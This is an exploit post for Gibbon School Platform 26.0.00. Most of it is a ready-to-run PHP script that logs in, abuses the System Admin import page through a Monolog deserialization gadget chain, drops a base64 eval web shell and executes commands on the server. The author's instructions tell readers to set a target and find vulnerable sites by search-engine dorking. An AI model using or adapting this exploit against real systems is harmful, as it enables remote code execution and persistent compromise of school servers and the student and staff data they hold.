Gibbon School Platform 26.0.00 Code Injection

`=============================================================================================================================================  
| # Title : Gibbon School Platform 26.0.00 Code Injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |  
| # Vendor : https://gibbonedu.org/ |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] uses the CURL to Allow remote command .  
  
[+] Line 108 set your target .  
  
[+] save code as poc.php .  
  
[+] USage : cmd => c:\www\test\php poc.php   
  
[+] PayLoad :  
  
  
<?php  
  
class GibbonExploit  
{  
private $target_uri;  
private $username;  
private $password;  
private $webshell_name;  
  
public function __construct($target_uri, $username, $password, $webshell_name = null)  
{  
$this->target_uri = $target_uri;  
$this->username = $username;  
$this->password = $password;  
$this->webshell_name = $webshell_name ?: $this->randomString() . '.php';  
}  
  
private function send_request($method, $url, $data = null, $headers = [])  
{  
$ch = curl_init();  
  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);  
if ($data) {  
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);  
}  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
  
if (!empty($headers)) {  
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);  
}  
  
$response = curl_exec($ch);  
curl_close($ch);  
  
return $response;  
}  
  
public function gibbon_login()  
{  
$login_url = $this->target_uri . '/login.php?timeout=true';  
$data = [  
'address' => '',  
'method' => 'default',  
'username' => $this->username,  
'password' => $this->password,  
'gibbonSchoolYearID' => '025',  
'gibboni18nID' => '0002'  
];  
  
return $this->send_request('POST', $login_url, http_build_query($data));  
}  
  
private function construct_form_data($payload)  
{  
$payload_len = strlen($payload);  
$payload_data = 'a:2:{i:7;O:32:"Monolog\\Handler\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\BufferHandler":7:{s:10:"\x00*\x00handler";r:3;s:13:"\x00*\x00bufferSize";i:-1;s:9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:' . $payload_len . ':"' . $payload . '";s:5:"level";N;}}s:8:"\x00*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i:-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}';  
  
$form_data = [  
'address' => '/modules/System Admin/import_run.php',  
'mode' => 'sync',  
'syncField' => 'N',  
'syncColumn' => '',  
'columnOrder' => $payload_data,  
'columnText' => 'N;',  
'fieldDelimiter' => '%2C',  
'stringEnclosure' => '%22',  
'filename' => $this->randomString() . '.xlsx',  
'csvData' => '"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"',  
'ignoreErrors' => '1',  
'Failed' => 'Submit'  
];  
  
return $form_data;  
}  
  
public function upload_webshell($b64_payload)  
{  
$php_payload = "echo \"<?php @eval(base64_decode('$b64_payload'));?>\" > " . $this->webshell_name;  
$form_data = $this->construct_form_data($php_payload);  
  
$url = $this->target_uri . '/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4';  
return $this->send_request('POST', $url, http_build_query($form_data));  
}  
  
public function execute_php($cmd)  
{  
$b64_payload = base64_encode($cmd);  
$res = $this->upload_webshell($b64_payload);  
  
if (!$res) {  
die('Web shell upload error.');  
}  
  
// execute the webshell  
$url = $this->target_uri . '/' . $this->webshell_name;  
return $this->send_request('GET', $url);  
}  
  
private function randomString($length = 10)  
{  
return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);  
}  
}  
  
// Usage  
$exploit = new GibbonExploit('https://target-site.com', '[email protected]', 'password');  
$exploit->gibbon_login();  
$response = $exploit->execute_php('phpinfo();');  
echo $response;  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`